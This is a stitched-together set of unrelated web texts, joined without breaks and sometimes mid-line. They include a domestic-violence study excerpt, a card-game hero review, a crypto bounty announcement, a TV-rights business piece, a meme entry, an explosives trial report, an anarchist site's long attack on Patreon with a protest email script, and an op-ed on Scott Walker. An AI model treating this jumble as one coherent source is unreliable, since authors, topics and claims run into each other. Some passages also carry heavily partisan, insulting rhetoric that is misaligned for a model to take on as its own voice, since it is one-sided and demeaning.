The petitions cite several studies to show the prevalence of the issue in India. A 1999 study, ‘Domestic Violence in Northern India’, published in the American Journal of Epidemiology, looked at the nature of wife abuse by 6,700 married men from five districts of northern India. It found that 18-40 per cent of the men in each district had non-consensual sex with their wives, and 4-9 per cent physically forced their wives to have sex.
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A more recent study in 2014, ‘Reporting and incidence of violence against women in India’, uses data from the National Crime Records Bureau and the National Family Health Surveys to show the extent of under-reporting in such cases. It finds that only about 0.6 per cent, or one in 167 incidents of sexual violence by husbands, are reported.Looking at my list of previous Heroes of the Month, I saw that tactics (my favorite sphere) hasn’t been getting as much love as I probably could give it. Off to Hall of Beorn and RingsDB I went, perusing the roster of tactics Heroes currently available. The one that caught my eye in particular was Na’asiyah, Corsair Raider and accidental ally of our Heroes after a series of unfortunate circumstances has her siding with the forces of good for a little dose of revenge.
In Tolkien’s Middle Earth, unlikely forces can take down the greatest evils. This theme takes shape in a variety of forms. Hobbits show that they are more than just their size and can overcome great evil even when they seem to be at their lowest; The Underdog Story, if you will. Another, arguably more blatant theme, is the power behind the many uniting against the few. In The Lord of the Rings, the Free Peoples of Middle Earth, or rather the various provinces of Men, are able to get their act together just in time to push back the tide that is Sauron and his armies. Interestingly enough, Sauron was not ignorant to the power of allies and kept his own beyond the Orcs that served him. The Free Peoples almost lost hope when they discovered that the Dark Lord has rallied his own forces from various nations. Where the Free Peoples united under friendship and common cause, Sauron most likely used more sinister approaches. Either way, the combined forces of Sauron, the Haradrim, and the Corsair Raiders, nearly spelled doom for the good folk of Middle Earth.
It’s because of this that I was particularly happy to see a Hero like Na’asiyah released in the first place. It didn’t matter what her stats were or what her sphere or ability was. The fact that the players had a Corsair player card was something I never even considered when I purchased this game years ago. Sure, I expected we would one day get to visit regions barely explained in the novels, but I could not have predicted we’d be making alliances with “our” foes. And now, of course, we have a similar situation with Khaliel, the Harad Hero from the Sands of Harad Deluxe Expansion.
Because the Corsair people aren’t nearly as fleshed out as other more notable aspects of Middle Earth and its citizens, it comes to no one’s surprise that Na’asiyah is an FFG created Hero. That doesn’t mean, however, that she isn’t without substance. Like Amarthiul, from the Angmar Awakens Cycle, the players come across Na’asiyah during their journey (in this case, while sailing the waters east of the Grey Havens). If you are unfamiliar with the plot of The Grey Havens and the DreamChaser Cycle you may want to skip to the next paragraph, as their may be some spoilers. The Heroes first encounter Na’asiyah as an enemy, part of a raiding force of Corsairs that were hot on the heels of the Heroes’ fleet. As the plot progresses, The Heroes and Corsairs (nearly about to tear each other apart in a naval battle) find a common foe in a fearsome sea creature that attacks them from below. After this event, the two forces reluctantly join towards a common goal. In the end, the Heroes (and Na’asiyah, as a casualty) are betrayed by another Corsair, left to drown. Na’asiyah then joins the party, and ultimately, the player card pool.
I remember when Amarthiul first became a Hero. I was glad to see the narrative of the particular cycle jump off the page inserts and actually affect the card pool. It proved that the developers can throw anything at us. Objective Allies could be enemies. Then Objective Allies could become Heroes? And now, with Na’asiyah, enemies themselves can find common cause and join the forces of good. It’s not only a way to keep players engaged from quest to quest, taking careful note of who they meet, but a thematically appropriate way for the developers to stretch the boundaries of what they can do. If a Corsair was put into the card pool for no story reason whatsoever, then it would seem awkward and out of place. As it stands, I think the developers have hit a nice stride. On top of that, it’s worth noting, I’m particular fond of the “enemy of my enemy is my friend” motif that sometimes worms its way into a narrative. Having it show up in one of my favorite card games… now that’s even better!
Na’asiyah could have easily been phoned in. The developers could have slapped the Corsair trait on her, given her some cool toys, and called it a day. Instead they created a character that is not only unique (and therefore true to her unique trait) but that has an ability that ties into her narrative from the cycle. Na’asiyah is a lone wolf. Whether that is because of her being a victim of betrayal, or her nature as a Corsair raider, is up to interpretation. Either way, by the time she is assisting the Heroes, she requires little assistance herself. What does that mean? Well, in game terms, Na’asiyah doesn’t pay for allies.
Before we delve into that a bit more, let’s cover her stats quickly. It’s nice to see a low threat tactics Hero that isn’t a Hobbit, and that has some pretty decent stats to boot. With 8 threat, Na’asiyah is already proving her worth as her stat line of 1/2/2 and 4 hitpoints (which comes in at a total of 9) is giving players bang for their buck. Also worth noting is that Na’asiyah is not victim to the dreaded 2/2/2 stat line that I know I am getting a little tired of seeing. She has some specialization, and that is certainly not questing. Her stats will be used elsewhere. So yes, having a Hero not being able to pay for allies in a sphere that already suffers with resources can be a bummer. However, Na’asiyah and her lone-wolf self comes prepared. Though she can’t pay for allies, she can still pay for events and attachments (which she will most certainly abuse). Better yet, her resources can be spent for herself after an attack (either from an enemy or her own) and will raise either her Attack or Defense Stat by 2 for the duration of the attack. Further, there is no cap to how many times a player can trigger this action, and if you have resources to spend, you can send Na’asiyah‘s stats into hilarious territory (and this is without the added bonus of attachments or events). This is not only thematically juicy to her inherent separation from the other Heroes she allies herself with but it is practically identical to her enemy card and the resource driven mechanics of the Corsair enemies encountered throughout the cycle.
This kind of unique, self-reliant (yet still restrictive) ability means that Na’asiyah is very versatile. She can support herself and, in some sense, can almost be used as a splashable Hero…. kind of. The ability to not pay for allies is, again, a drawback. However, if you are splashing tactics and only intend to use tactics resources for non-ally cards then you’re good. Where she gets splashy is the fact that she can attack or defend with ease and doesn’t affect a deck too much by her presence. Say, for instance, you wanted a strong tactics defender right out of the box. You could pick a hero like Beorn or Beregond but you would be asking for a 12 or 10 starting threat hero. Wanting a reliable tactics attacker might be a little easier of a decision, with low threat choices like Legolas or Merry available, but they demand some deckbuilding space to get working. Na’asiyah doesn’t “necessarily” need anything to get going. So long as she has the resources to spend she can take care of herself. Of course, with the card pool being as big as it is, you can just as simply pick a hero from a different sphere to accomplish either attacking or defending. There are plenty of options. Splashing a Hero like Na’asiyah means you must have some attachment or event not present in your other spheres that requires her presence. That or you are building towards a particular quest. The latter seems extremely unlikely.
So where does Na’asiyah stand currently? The jury seems to be a bit out on this one. On ringsDB it’s somewhat hard to gauge. Quite a few decks seem to pair her with the aforementioned Beorn. One in particular, which I’ll post below, focuses on her self-reliance, and Beorn’s as well, and works towards building a deck around self-sufficient heroes. Others incorporate Leadership to slap a Steward of Gondor on Na’asiyah to begin the resource shenanigans. If you have a Na’asiyah deck you want to show to the world, please do so! As of writing this I could only find a single page worth of Na’asiyah decks on ringsDB… and that page only contained 19 lists (some of which were just updated versions of previous builds). If you’ve been thinking about a list, but haven’t actually made one, check out the three lists that stood out to me that I’ve posted below.
As always, thanks for reading!
-The Secondhand Took
AdvertisementsThe 3rd month of the GitHub Development Bounty (1st of June 2017–30th of June 2017) has finished. This month has seen a large increase in the number of pull-requests (along with new contributors) and we are truly grateful for all the hard work the community is putting in to make ARK even better!
Without further ado, here are the winners for the month of June:
1st of June 2017–30th of June 2017:
1st place: 4,000 ARK
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Github User: fileninja
Notable commits:
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2nd place: 2,500 ARK
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Github User: naaomimore
Notable commits:
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3rd place: 1,500 ARK
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Github User: vekexasia
Notable commits:
Github Users:
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Contributor of the 1st Quarter (April-May-June)
In addition to calculating monthly rewards, we are also tracking quarterly statistics. Every 3 months a “Contributor of the Quarter” will receive an additional ARK reward and this is the month we select our 1st winner.
Our 1st quarterly winner is zillionn for his consistent contributions to the ARK ecosystem throughout this 3 months of ARK running this campaign — thank you for all the commits and keep up the good work.
Next “Contributor of the Quarter” (July-August-September) will be announced with September 2017 winners (all commits and consistency throughout July-September will count towards quarterly winner)!
Congratulations to all of the June winners!
For July 2017 payouts will be:
1st of July 2017–31st of July 2017 :
1st place: 3,000 ARK
2nd place: 2,000 ARK
3rd place: 1,500 ARK
4th place : 1,000 ARK
5th–9th place: 500 ARK /each
EXTRA IN JULY: If there will be more than 10 contributors, those not eligible for any of the 1–9th places will still get 100 ARK (+ all 5 PR rewards)!
Most Valuable Pull (MVP-ARK) : 2,000 ARK
Missed what this is all about?
Read the full instructions here: 200,000 ARK Bounty for Developers in the 1st Year.
Are there any other development bounties going on?
There is also community run ACF (ARK Community Fund) — read more here:
And remember to join our Slack!Mark Nicholas has become one of the most recognisable voices on our TV screens during the Australian cricket summer.
Mark is one of the game’s most deep thinking and insightful commentators. His infectious passion for cricket has seen him gain the respect of players and fans alike.
In his new book A Beautiful Game, Mark reveals details of his childhood. He also touches on the significant impact his parents had on his love of cricket from a young age.
We sit down with Mark to discuss his first ever visit to Australia, his relationship with late Aussie commentary icon Richie Benaud, and the day he received a terrifying phone call from Kerry Packer whilst on-air.
Join us inside the famous Channel Nine commentary box as we get an insight into the life of one of cricket’s most astute and enthusiastic personalities.
Additional Information
Episode Length: 6:52 minutes
Sport: Cricket
Producer: Michael Lynch
Executive Producer: Edris Toussaint
Production Company: More Than A Game Productions
Published on December 16, 2016Image copyright Getty Images
What is really striking about UEFA's auction of Champions League and Europa League television rights is that there was only one round of bidding.
What does that mean?
Well that BT's £900m bid was miles above that of British Sky Broadcasting and ITV.
So has BT paid too much? Or did BSkyB break the habits of its entire existence and foolishly bid too little?
Well, the newish chief executive of BT, Gavin Patterson, told me that his company's financial model of what the broadcast rights are worth would have allowed him to bid more (though not much more).
Meanwhile, a senior BSkyB source said that his company simply could not justify shelling out the £300m per year offered by BT.
Are these two conflicting statements reconcilable, or is one of them trying to sell me a pup?
The battle for supremacy in the broadband market just got vicious
The answer is that there is probably a bit of both going on.
The rights are worth more to BT than to BSkyB, because of its perception that being able to offer sport broadcasts can differentiate its broadband service from those of the big challengers - Virgin, TalkTalk as well as Sky - and fulfil Patterson's ambition of reversing years of declining revenues at BT.
Meanwhile, the thrust of all recent investment at BSkyB under Jeremy Darroch is to make its television service about much more than sport.
Or to put it another way, Darroch believes there are more rewarding ways for his company to deploy £300m a year of cash.
So for example BSkyB is already spending more than £500m a year on creating what it calls "original British programmes" - series such as the Tunnel, Dracula and Strike Back - with the published aim of increasing that to £600m by 2015.
'Retaliation'
Image copyright Reuters
I am told that having lost European football, BSkyB is likely to spend even more on drama - which, to state the obvious, will increase BSkyB's competitive threat to ITV and to my employer.
BSkyB also points out that European football represents only around 3% of viewing on its channels, compared with around 18% for the Premier League.
So the harm to BSkyB of losing the contest is certainly not lethal.
But it does not mean that the defeat is trivial.
The history of BSkyB says it will not writhe around on the park in agony
First of all there is the difficult-to-quantify dent in how customers, investors and employees see a a business like BSkyB when its 100% winning record in a particular activity ends: BSkyB has never lost a sports auction quite as important as this one.
Second there are risks for BSkyB in trying to become a genuinely "broad" broadcaster. Creating compelling drama and side-splitting comedies that people actually want to watch is harder than luring sports fans to football, cricket or golf.
Third, and most important, the battle for supremacy in the broadband market just got vicious.
BT is number one in broadband; BSkyB wants to be number one and just got kicked in its most sensitive organ.
The history of BSkyB says it will not writhe around on the park in agony, and will take little time trying to find an effective way to retaliate.
The battle between BT and BSkyB just became very interesting.About
This is Sparta! is a catchphrase usually used in images that parody the scene from the film 300 where the main protagonist Leonidas, King of Sparta, declines peace with the Persians by shouting at the Persian Messenger "This is Sparta!" and kicking him into a large well proceeded by the killing of the other Persian messengers. (See also: Falcon Kick).
Origin
The scene originates from the 2006 film 300 directed by Zack Snyder, an American film adapted from a graphic novel of the same name by Frank Miller, a fictionalized retelling of the Battle of Thermopylae The film tells the story of King Leonidas and his lead of 300 Spartans into battle against Persian King Xerxes and his army of more than one million soldiers. Right before battle, a Persian messenger arrives at the gates of Sparta demanding the submission of Sparta to King Xerxes. In response to this demand, Leonidas and his guards kick the messengers into the large well, immediately after shouting "This is Sparta!".
Full Scene Transcript
Leonidas: You bring the crowns and heads of conquered
kings to my city steps. You insult my queen.
You threaten my people with slavery and death.
Oh, I've chosen my words carefully, Persian.
Perhaps you should have done the same.
Persian Messenger: This is Blasphemy! This is Madness!
Leonidas: Madness? This is Sparta!
Spread
Months before the release of the 300 film, the theatrical trailer was enough to spawn spoofs and parodies of the catchphrase. On October 10th, 2006, user heksaur became the first to create a This is Sparta YTMND. A total of 85 "This is Sparta" YTMND's have been created between 2006-2009 including the popular Sparta Remix. Because of the over-dramatic action sequence, the quote became the subject of a number of different Internet fads almost from the start. In pop culture, the film's famous parody had also been appearing in film and television such as South Park, Robot Chicken, Night at the Museum 2 and others.
Notable Examples
Related Memes
Sparta Remix
Sparta Remix is the name given to a mash-up based on a scene from the 2007 movie 300. The song inspired various remixes, normally accompanied with images that include Leonidas’ face.
The Kick
The Kick is a person kicking another (usually resulting in them falling a great height) sometimes accompanied by the caption "This is Sparta."
This is X
A cut-out image of Leonida's face from the end of the movie photoshopped into an image with a caption of This Is X!. X is the relevant subject in the image that usually ends in an "a" and is extended for effect.
Leonida's Shouting Face
The same image of Leonida's Shouting Face put into images such as GIFs, movie posters and other image-related memes.
Search Interest
External ReferencesVaughn Pottle (Photo: Special to the News Journal )
Update, 2:15 a.m.: A federal jury found Vaughn Pottle not guilty on three criminal counts regarded to the possession of stolen military explosives.
Previous story
A federal jury is deliberating the fate of a former Army special forces member accused of storing two boxes of stolen explosives in his home.
Vaughn Nicholas Pottle, 31, reportedly obtained TNT, dynamite, flashbang grenades, blast caps and other explosive materials in 2011 while serving in the Army 7th Special Forces Group at Fort Bragg, N.C., according to his testimony during his three-day trial in Pensacola this week.
When his unit was relocated to Eglin Air Force base, Pottle reportedly brought the explosives with him and stored them in his home in Baker.
Pottle testified that his superior officer, Master Sgt. Marc Castleberry, had instructed him to transport the munitions to Florida, and that he was told that the explosives would be used for training purposes within his unit.
Castleberry denied the allegations, as did several other members of the special forces team.
Edwin Knight
The explosives were located while Pottle was being investigated for separate charges, including domestic violence and carrying a concealed firearm, in December 2013.
Pottle is facing three charges: Knowingly possessing a grenade that was not registered to him, possession of stolen explosive materials, and possession of explosives after being charged with a felony offense.
Pottle's jury entered deliberations at around 10:30 a.m. and is expected to return a verdict sometime this afternoon.
Read or Share this story: http://on |
think it’s more than a little plausible.
So, on deck: a big week for Johnny McSame and a big week for the country. McCain pulled a transparent political stunt so he could ride the Circular Talk Express into DC and look like a hero, but when he arrived he got punked left, right, upside down and sideways. I can’t say for sure how this looks to your average undecided voter, but it can’t possibly have helped, can it?
Meanwhile, regardless of what the realities of the bailout turn out to be, Obama walks away looking very … presidential – at least for the moment.
Not that I ever count on American voters paying attention or having the wits to parse even the simplest events, but we could be looking at a real turning point. McSame needs to have a very good week, and unless somebody has pics of Obama fellating Osama, I’m not sure where the good news is going to come from.“Patreon’s rationale for banning IGD was provided by the Alt-Right and duly recited back to them by Patreon’s CEO.”
On Friday July 28th, Patreon, a crowdfunding company based in San Francisco that allows people to make monthly donations to various projects, artists, and musicians, took down our account. At the exact same time, Patreon CEO Jack Conte released a ten minute video which touched briefly on the banning of IGD as well as Canadian Alt-Right media personality Lauren Southern’s account only days before. Interestingly, Conte, who himself has a Patreon which brings in 4K a month and is part of the musical group, Pomplamoose, stated in the video that Lauren Southern’s actions led to her being banned, that Patreon and Conte support “free speech,” but then went on to state that an article that IGD republished (aka speech) led to us being kicked off the platform.
Despite the picture painted by Conte, Patreon has deactivated our account due to pressure from the Alt-Right – full stop. As we will show, Patreon has acted with a complete lack of professionalism; it not only broke under pressure from the Alt-Right but moreover used information handed to them from a group which openly embraces white supremacy and fascism, and lastly, it has sent a message to everyone that uses and donates on Patreon, that if you piss off the Alt-Right, you might be next.
Patreon and the Alt-Right
Over the course of the past six weeks, It’s Going Down has been the target of a sustained campaign by the Alt-Right which on Friday culminated in the shutdown of our Patreon account. As we’ve previously documented, it started when a Hitler-praising, “Pepe the frog is not a racist meme” troll posted a story attacking IGD that was then picked up and run almost verbatim by Fox News. Other Alt-Right sites jumped on the fabricated-outrage bandwagon and IGD got some love on two more Fox News segments, including one on Watter’s World, where a pro-Trump troll “BG Kumbi” posed as a ‘member of antifa’ and the author of an essay that had appeared on IGD.
Tucker Carlson hits new low by hosting Alt-Right troll Ian Miles Cheong on to talk about IGD article. pic.twitter.com/5742ejcD7c — It's Going Down (@IGD_News) July 12, 2017
This week the far-Right ventured from their echo chamber, saw @IGD_News & retreated back for a collective temper-tantrum & hyperbole contest pic.twitter.com/CCdWW9jtJy — Scott Campbell (@incandesceinto) June 24, 2017
A week later, a “bounty” was placed on the “transnational IGD crime syndicate” by the Alt-Right’s dumpster fire of a crowd-funding site, Wesearchr (known most for stealing the money of those who donate and also for raising over 150K to cover legal fees for neo-Nazi Andrew Anglin of The Daily Stormer), promising thousands to those who contributed to attempts to dox editors of IGD. Guess speech isn’t free!
Additionally, picking up on murmurings from the intellectual powerhouses at 4chan’s /pol/ board, neo-Nazi organizer Nathan Damigo published an article on AltRight.com, the website run by white nationalist Richard Spencer, calling for a campaign to get Patreon to shut down IGD’s account. If there is one thing the Alt-Right is good at it is sweaty-palmed trolling and the call reverberated widely, with its own #DefundAntifa hashtag.
This call was also boosted by Kyle Chapman, aka “Based Stickman,” who took to the campaign a step further, claiming that Virginia shooter James Hodgkinson was a ‘member of antifa’ based on the fact that he was a part of several anti-Trump Facebook groups, and IGD was connected to that, or something so…Defund Antifa! This is ironic, because not only did these Facebook groups Hodgkinson was a part of have nothing to do with anarchism or antifascism, but that Kyle Chapman not only likes and promotes violent neo-Nazi groups on social media, but is a part of various Facebook forums that include white supremacists.
But the campaign particularly picked up steam when Patreon removed the account of white nationalist Lauren Southern on July 20th. Southern was raising funds to join Defend Europe, an effort headed by white nationalists in ‘Generation Identity’ that have purchased a boat to physically block the rescue of migrants and refugees in the Mediterranean Sea. Just today, it has been reported that the Defend Europe boat is in hot water, after they used forged documents and are accused of engaging in human trafficking.
According to Media Matters:
Defend Europe, an anti-immigrant group that attempts to disrupt humanitarian search and rescue missions in the Mediterranean Sea, recently chartered a boat that was stopped in a Cyprus port, where several members were arrested for forging documents and engaging in potential human trafficking. The members were stopped in and deported from a sea port in the self-declared Turkish state of Northern Cyprus Thursday after spending two days in detention for document forgery and potential human trafficking of 20 Sri Lankan nationals who were aboard the C-Star, the campaign’s ship. Turkish Cypriot authorities deported nine crew members, including the ship’s captain and a German “second captain” believed to be neo-Nazi Alexander Schleyer. The authorities also transferred the director of the company that owns the ship, Sven Tomas Egerstrom, to Greek-controlled Cyprus for further questioning.
TFW Alt-Right troll Tim Pool @TimCast who presents himself as 'neutral journalist' but dodges the camera with his Nazi buddies. pic.twitter.com/yFEWkLcIRS — It's Going Down (@IGD_News) June 5, 2017
That Patreon would not let Southern use its platform to raise funds to try and kill some of the world’s most vulnerable inhabitants gravely offended the delicate sensibilities of the Alt-Right. Southern fanboy and fellow traveler Tim Pool – best known for fleeing Milwaukee out of fear of Black people and being a bald 31 year old who chooses to still wear a beanie throughout the summer – jumped into the fray with a video claiming Patreon was hypocritical for banning Southern but not IGD. Ian Miles Cheong, now writing for Tucker Carlson’s website, The Daily Caller, also rallied to remove IGD from Patreon. Around the same time, IGD editors received word that Tim Pool was reaching out to Patreon CEO Jack Conte in a personal capacity, in order to get our account deleted. The “how can Patreon ban Southern but not IGD?” talking point spread and on Friday, July 28th, Patreon obliged by shutting down our account.
The move by Patreon to shut down IGD can only be understood as a capitulation of a major corporation to the Alt-Right, and this isn’t something that should be easily brushed aside by anyone. Furthermore, if anyone still had any illusions that Tim Pool is either ‘neutral’ or a ‘journalist’ who just happens to hang out with all of the same neo-Nazis and members of the Alt-Right he gives a platform to, we hope that this incident further shines a light onto what side of the fence he is actively a part of. Tim Pool is not a neutral party that is fighting for “truth” or “journalism,” he is an Alt-Right troll who goes to bat for his white nationalist friends who also sign his checks.
After a day of denial, Tim Pool finally admitted he tried to get #Patreon to remove the @IGD_News account.@YourAnonNews @YourAnonGlobal pic.twitter.com/pz56RBdttH — LA Peoples Media (@LAPeoplesMedia) August 2, 2017
Complete Lack of Professionalism
The same day that IGD received an email that our account had been removed, Patreon CEO Jack Conte released a ten-minute video to explain the decision. He framed the video as being an innovative example of tech company transparency, emphasized that the decision to ban Southern and IGD had nothing to do with politics, and that the fact both were banned within a week of each other was merely coincidental.
This is how I think about Patreon's content policy, Lauren Southern, Defend Europe, IGD, and more: https://t.co/23Bmip8x7A — Jack Conte (@jackconte) July 28, 2017
This is total and complete bullshit. IGD was banned as an act of appeasement to the Alt-Right. Behind the gimmicks and wonky terms about “manifest observable behavior,” the entirety of Conte’s video is an attempt to pacify the trolls. The vast majority of it is dedicated to explaining in detail and with ample video, photographic and text evidence as to why Patreon banned Southern – clearly in the hopes that her supporters would be convinced as to the validity of Patreon’s decision. The brief section on IGD’s banning mentions two articles that were reposted on IGD, and involved minimal explanation and not even a screenshot to accompany it. Clearly, Conte was not concerned that the intended audience would need convincing that IGD should be banned, because the intended audience was the Alt-Right.
It’s worth noting that the two articles on IGD cited in Conte’s video are ones that were identified by Alt-Right sites such as Anime Right News and Far Left Watch and regurgitated by morons such as Tim Pool.
CEO of Patreon reaching out to talk with Alt-Right troll Tim Pool.
Thus, Patreon’s rationale for banning IGD was provided by the Alt-Right and duly recited back to them by Patreon’s CEO. It was also the Alt-Right who established an equivalency between Southern and IGD. In his video, Conte again plays their tune, lumping IGD – a news website – with a white nationalist dedicated to the drowning of Black and Brown bodies in the Mediterranean, all to placate a group of racists who think dead refugees are a great thing. The only innovation Conte has made with this action is setting a new low when it comes to pandering to the whiny outrage of white supremacists. With behavior like this, is it any wonder so many people hate techies?
Email from Patreon’s “Trust and Safety” Team.
When IGD first learned of the campaign against our Patreon in June, we reached out to Patreon and offered to address any concerns they might have. At the time, they said they had none and we were all good. Despite this attempt to open a dialogue, a few weeks later they banned us out of the blue. They also did it on Friday afternoon (the best time of the week to avoid media attention) and at the end of the month. What Patreon did is the equivalent of firing you without notice and to top it off refusing to pay you your wages from the previous month. Oh – and then the CEO of the company making a video about why they fired you.
What kind of company is this?
But Why Did Patreon Drop Us?
Patreon has selected two articles that they say violate their standards. Both are reposts from other websites and are not authored by IGD and are stated as such on ItsGoingDown.org.
The first is a short article published this month about a GOP official with ties to neo-Nazi groups. In the post, it includes an image of a flyer that includes the person’s phone number and email. According to Patreon via email:
“After creating a Patreon page, any Creator caught in the act or convicted of … malicious doxing … or encouraging others to do the aforementioned harmful activities may be banned from using Patreon.”
Is IGD guilty of “malicious doxxing” for giving a platform to people in Texas trying to expose someone within the ruling party of the United States as connected to white supremacist groups? How is this outside of the realm of what a news website is supposed to do? How are we by simply including a photo of a flyer that includes a phone number and email also by extension promoting anyone to do anything? According to Patreon we are, but then again Patreon also got its information from those same white supremacists, so you be the judge.
Second, Patreon took offense to an anonymous communique that was submitted to Puget Sound Anarchists and then reposted to IGD. In the article, a group of people claimed responsibility for manipulating wires on train tracks to send a message to a train carrying fracking equipment that there was a block on the tracks. They claim to have then poured concrete on the tracks but only after sending messages to the train that there was a blockage, causing the train to stop. The stated goal of the people carrying out the action was not to cause any harm to the workers, but simply to stop the train literally in it’s tracks. It should also be noted that this article is from April of this year, about two months before IGD even joined Patreon.
Here is a video of Tim Pool explaining that the @DefendEvropa fascists are just trying to save the european civilization from immigrants pic.twitter.com/NymWQ9LQWY — Global Revolution TV (@GlobalRevLive) August 2, 2017
According to people like Tim Pool and the Alt-Right however, this action amounts to “eco-terrorism,” a term used widely by the FBI in various investigations into ecological direct action groups in the early 2000s. According to Patreon:
“We don’t allow funds to be collected for organizations that promote, forums that distribute, or anything else that primarily facilitates harmful or dangerous activities.”
Obviously such language is meant to be vague and this works in Patreon’s favor. As a news website, IGD is often attacked, by both liberals and the Alt-Right, for giving space to the kinds of things other news websites do not report on. Overall, our very existence is meant to give space and a voice to social movements, struggles, and acts of rebellion which are seen as anathema by many across the political spectrum. At the same time, is a group of people that are taking action against fracking equipment by stopping a train newsworthy? Yes. Is stopping a train through the use of illegal tactics controversial? Of course. Is such an act violent, harmful, or dangerous, even if the stated goal is not to injure people or use tactics which could do so? Depends on who you ask.
Tim Pool says hi to the people who sign his checks – neo-Nazis on a 4chan message board.
Simply, the result of Patreon’s actions appeal to a false sense of neutrality by playing into the larger American politic which equates the anarchist movement and the anti-capitalist Left with the far-Right. The two are not one in the same, and the actions of Lauren Southern are not the same as IGD. How Patreon arrived at their conclusion was influenced by politics but also a newly invented tech ethos: Manifest Observable Behavior (MOB). This reliance on data as ‘truth’ is thought of as a new way of being neutral while skipping out on ethical questions.
But one thing is clear, by Patreon drudging up a two month old article that was spoon fed to them by the Alt-Right, it shows a lot about the people who are running Patreon and their desire to find any reason to kick us out.
Patreon Working with the Alt-Right Should Serve As a Warning to Others
To be crystal clear, Patreon is home to a host of Alt-Right projects, media websites, and organizations. As Mother Jones wrote:
The rival crowdfunding site Patreon has been more welcoming to these voices; it now hosts Rubin, Cernovich, Southern, Baked Alaska, and a number of lesser-known figures such alt-right sci-fi novelist and video blogger Brittany Pettibone, who, like Chapman, was booted from GoFundMe for violating its terms of service.
This includes media outfits who openly work with neo-Nazis groups such as The Red Elephants, Alt-Right Vlogger Tara McCarthy, white nationalist speaker and livestreamer Baked Alaska who will speaking at a neo-Nazi rally on August 12th in Virginia, as well as AltRight.com author Brittany Pettibone, who along with Lauren Southern is currently taking part in the efforts to attack refugees.
Clip from Livestream of ‘The Red Elephants,’ an Alt-Right media website with a Patreon account.
Just like as Berkeley police arrested and filed charges against antifascists at the urging of 4chan, or as universities around the country have punished professors for expressing views that differ from white supremacists, Patreon is the latest institution to pathetically cave into Alt-Right pressure. While several of our comrades rely on Patreon, we urge everyone to consider if they want to utilize and support a platform that folds so easily to the gaseous bile emanating from the Alt-Right sewer. If they can do it to us, they can do it to you.
A Message to Our Supporters
IGD has been around for more than two years and we have only utilized Patreon since May. We’re not going anywhere. The frogs may be beating off onto their swastika shaped lily pads over this, but truth be told we were fundraising much more before Patreon, and will continue to do so afterwards. In short for everyone that has reached out to us, thank you, but even if every avenue for finding a way to monetarily sustain this site was destroyed, we’d still do this shit for free.
And there are still several ways you can support us. If you value the work we do and want to stand in solidarity with us against this wave of Alt-Right attacks, please consider donating or picking up some merch if you’re able. We have also have a brand new web store, allowing you to make monthly donations. Please do so here.
More importantly, keep organizing and fighting back where you are, and keep sending us more content to grow and expand this project.
Contact Patreon and Jack Conte
We urge supporters and readers to contact both Patreon CEO Jack Conte as well as Patreon directly. We have two simple demands:
Pay us our money from July. Patreon shut down our account literally one business day before the billing cycle would have ended. We demand that we receive our payment from the month of July. To add insult to injury, when Patreon kicked off Lauren Southern, this is the same thing they offered to do for her. In an email they wrote to her:
It appears that you are currently raising funds in order to take part in activities that are likely to cause loss of life. We have therefore decided to remove your page from Patreon, and paid out your final balance of $95.00 to you.
Allow us access to our Patrons data and contact information. Currently, we have no way of sending rewards to Patrons or sending people within our network an email explaining what has happened or how they can choose to support us in the future. The fact that Patreon has their system set up like this should also serve as a warning to everyone that uses the service.
Email Jack Conte and Patreon Script:
Dear Jack Conte,
I am writing because I am disgusted that Patreon.com and you as the acting CEO have bowed to Alt-Right pressure and dismissed ItsGoingDown.org. Currently in the United States, the Alt-Right is growing on social media and promoting a worldview that is pro-genocide, anti-Semitic, and seeks to create an all white fascist State. Groups that are giving a platform to oppose these views are under threat from the Alt-Right, and by parroting their talking points, you are helping them silence anyone who speaks out.
I demand that you both pay ItsGoingDown.org for the month of July, which they would have received only a few days after you decided to bow to Alt-Right pressure, and also give them access to their Patrons info.
What Patreon.com has done is not a good look. By kicking off IGD you have put a target on the backs of each and every person who uses Patreon.com to potentially be kicked off should the Alt-Right troll army decide that they are next. Do you really want to be known as the company that gives in to neo-Nazis and white supremacists?
Email:
Jack Conte: jack.conte@patreon.com
Patreon: support@patreon.zendesk.comWhen Scott Walker ran for governor of Wisconsin in 2010, he portrayed himself as an affable, thrifty guy, who brought his lunch to work in a brown paper bag just like the people he promised to serve. He promised in his campaign that his pro-business reforms would bring 250,000 jobs to the beleaguered state’s manufacturing base. And he swore he’d be different than all those other politicians who’d come before.
The governor that Walker became in office is decidedly a different character than the average Joe we saw on the campaign trail: a governor whose political aspirations lie far beyond Madison. Governor Walker is facing charges of illegally steering campaign donations and backing terrible environmental legislation from those donors. He couldn’t find it in his heart to reach out to LGBT Wisconsinites and congratulate them on their new right to marry. He’s still backing a voter ID law that would disenfranchise the state’s elderly, minority, and low income voters in the hopes that’ll it’ll keep him in office, even though the US supreme court blocked it in an emergency ruling on Thursday.
And that’s just in the last month.
Then there’s the economy – which was supposed to be his shining achievement. One of his first actions upon taking office in 2011 was to add his campaign slogan “Open for Business” to the “Welcome to Wisconsin” signs that greet people at the state line – at a cost to taxpayers of $1,500.
They didn’t help. Forbes ranked Wisconsin as one of the 10 worst states for business in 2012. The most recent Quarterly Census of Employment and Wages report showed that we are currently ranked 33rd in the country in job growth – and we’re dead last when compared to other states in the midwest. Jobs in the urban centers of Milwaukee and Madison have been stagnant during this time, and manufacturing jobs are just vanishing.
Some of the job losses could’ve been mitigated, had the governor not turned down federal transportation funds to build a new passenger rail system connecting Chicago to Minneapolis and St Paul through Wisconsin. Walker’s refusal not only cost the state the federal funds, but the Spanish train company Talgo – which had been encouraged by them to locate a manufacturing facility in an area of Milwaukee hit particularly hard by the recession – sued the state for breach of contract.
Meanwhile, one of Walker’s major reforms was to eliminate the Department of Commerce, replacing it with a public/private hybrid called the Wisconsin Economic Development Corporation. It was intended to serve as a job creation agency, but has faced myriad management issues – including going $14m over budget in 2012 and losing track of $8m in overdue loans it had issued. Oops.
To fix the state’s budget shortfall after taking office, Walker simply cut aid to state schools, local, and county governments, and then he cut wages and benefits for government workers statewide. Next month, 83 school districts are holding referenda to raise taxes just to cover their operating costs.
The surplus he created through such drastic actions is almost gone because, instead of putting it into a rainy day fund, Walker just cut taxes. Of course, those cuts didn’t go to the middle class, or those aspiring to middle class: the Wisconsin Budget Project says that, while the poorest 20% of people will save on average of $48 a year, the top 1% will get a break of $2,518 per household. Plus the state now looks to end the current fiscal year about $396m short of paying its bills, and revenues will fall short of projected spending in the next biennium by $1.8bn.
